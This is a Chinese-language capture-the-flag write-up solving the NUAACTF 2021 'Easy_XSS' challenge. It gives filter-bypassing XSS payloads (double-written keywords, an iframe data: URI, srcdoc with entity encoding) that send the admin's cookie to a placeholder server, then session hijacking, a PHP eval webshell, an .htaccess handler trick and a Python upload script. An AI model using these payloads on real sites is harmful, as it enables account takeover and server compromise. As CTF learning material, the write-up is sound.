在 NUAACTF 2021 中,有一道 XSS 相关的题目 Easy_XSS,比赛的时候就只有一队做出来了。
(当然只是校内玩玩而已,大师傅们应该随便就 AK 了 Orz
题目考点主要涉及 XSS 绕过、PHP 代码审计、文件上传绕过等,难度其实还好。
最近几天摸鱼,就来复现一下吧。
顺便还拓展学习了一下 iframe
标签中的 srcdoc
属性在 XSS 中的利用。
Easy XSS
尝试去获取管理员的神秘页面 upload.php 吧!
打开题目发现是个 Blog,可以在里面发 post。
发 post 需要登录,那就先随意注册个账户。
根据题目描述,直接访问 upload.php
,会提示需要 admin 才能上传。
啊,居然没有前端界面,只有丑丑的源代码
可是有源代码吼啊!
那就看看怎么获取 admin 权限好了。
既然是 XSS 嘛,那就想到先试试 img
标签好了。
先构造一个最普通的,利用 url 来传递 cookie。
自己的 VPS 上起个 web 服务来接收一下,或者如果有 NGINX 的话看看 log 也行。
payload:
meow
<img src='#' onerror="window.location.href='//VPSIP:PORT/'+document.cookie">
233
然而发现 img
window
document
on
被替换为空了,location
-> locati
。
那就试试双写绕过行不行。
meow
<imimgg src='#' oonnerror="windwindowow.locatioonn.href='//VPSIP:PORT/'+documdocumentent.cookie">
23333
很好,成功构造出了预期的 xss 语句,实现了跳转。
接下来就勾上 Publish this post,让 admin 看一看,顺便偷走他的 cookie。
成功在 VPS 上接收到 cookie。
PHPSESSID=9f767556e4ef66825cb9e3b399e5d243
而后修改 cookie,刷新页面就是 admin 了。
再回到开始的 /upload.php
,发现此时页面上空空如也,确实是 admin 了。
没有前端上传界面,那下面就直接审计 PHP 源码再自己构造上传请求吧。
<?php require_once 'init.php'; error_reporting(0); if ($_SESSION['is_admin'] !== 1) { echo "You are not admin! You can't access this page."; highlight_file(__FILE__); die(); } $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]); if (!file_exists($userdir)) { mkdir($userdir, 0777, true); } if (isset($_POST["submit"])) { $tmp_name = $_FILES["upload"]["tmp_name"]; $name = basename($_FILES["upload"]["name"]); if (!$tmp_name) { die(); } if (!$name) { die("filename cannot be empty!"); } $extension = substr($name, strrpos($name, ".") + 1); if (preg_match("/ph/i", $extension)) { die("illegal suffix!"); } $upload_file_path = $userdir . "/" . $name; if (!move_uploaded_file($tmp_name, $upload_file_path)) { die("Error!"); } echo "Your dir " . $userdir . ' <br>'; echo "Your file: "; var_dump(scandir($userdir)); }
strrpos()
函数查找字符串在另一字符串中最后一次出现的位置,且对大小写敏感。
于是 $extension
就是根据文件名中最后一个 .
之后的字符得到文件的扩展名,如果包含 ph
的话就会被拦住了。
另外,触发上传的话需要用 POST 方法,且包含一个 submit
变量,值的话随意设置就好了。
先准备个一句话木马,存为 miao.png
。
<?php @eval($_GET['miao']);?>
当然 POST 也行。
Python 写个脚本上传。
import requests url = "http://45.76.221.54:8005/upload.php" headers = { 'cookie': 'PHPSESSID=9f767556e4ef66825cb9e3b399e5d243' } form_data = { 'submit': (None, '1'), # 'upload': (f'.htaccess', open(f'.htaccess', 'rb')) 'upload': (f'miao.png', open(f'miao.png', 'rb')) } print(form_data) resp = requests.post(url, headers=headers, files=form_data, timeout=10) resp.encoding = 'utf-8' print(resp.content)
上传之后发现不能执行 PHP 脚本。
做的时候试了试 %00
截断 test.php%00.png
、1.php(0x00)/1.png
之类的,发现都不行。
再回去看看题目环境,PHP 7.4.0 + Apache 2.4.38。
考虑到服务器用了 Apache,可以试试上传一个 .htaccess
文件,让文件夹里所有后缀的文件都交给 PHP 来处理。
SetHandler application/x-httpd-php
这样就能通过上传不带有 ph
后缀的文件来执行 php 代码了。
当然也可以在 .htaccess
里这么写,也就是给 .png
文件指定用 PHP 来处理。
AddType application/x-httpd-php .png
根据得到的路径进行访问,然后用一句话木马去拿 flag。
成功拿到 flag,好耶!
flag{851f398a-3db1-4299-8dd6-6a3d2467433f}
那顺便再来看看他源码好了。
发现 post.php
在渲染页面的时候,有一个过滤。
具体是
function render_tags($str) { $str = preg_replace('/script|img|svg|on|document|window/i', "" ,$str); return $str; }
那其实还能直接用 iframe
来整,不过原理差不多倒是了。
<iframe src=javascript:alert('xss');></iframe>
把关键词替换为 hacker
试试,即
function render_tags($str) { $str = preg_replace('/script|img|svg|on|document|window/i', "hacker" ,$str); return $str; }
这样一下子难度就上来了。包含这些关键词的标签以及 onxxxx
属性都不能用了。
但是这样还有个 iframe
可以写入 src
呢。
首先构造 payload
<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>
配合 data 协议以及 base64 编码,写入到 src
里。
<iframe src="data:text/html;base64,PHNjcmlwdD50b3AubG9jYXRpb24uaHJlZj0nLy9WUFNJUDpQT1JULycrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+"></iframe>
然而打过去发现被拦住了……
也就是说 data 里不能拿到 document.cookie
。
再来看 iframe
标签还有什么神奇的属性呢?
参考 HTML <iframe>
标签的 srcdoc 属性 ,我们可以在 srcdoc
属性中直接写入 HTML 源码。
为了防止被替换掉,这里可以用 HTML entity 编码一下。
<iframe srcdoc="<script>top.location.href='//VPSIP:PORT/'+document.cookie</script>"></iframe>
打过去,成功收到 cookie。
好耶!
复现完了耶!
这篇文章从 NUAACTF 2021 Easy_XSS 一题入手,对整个解题过程进行了复现。
题目考点主要包括 XSS 绕过、PHP 代码审计、文件上传绕过,总体而言难度还好。
在拓展部分,对于过滤替换为其他字符的情况进行了分析,进一步考虑了 iframe
标签中的 srcdoc
属性在 XSS 中的利用。
溜了溜了。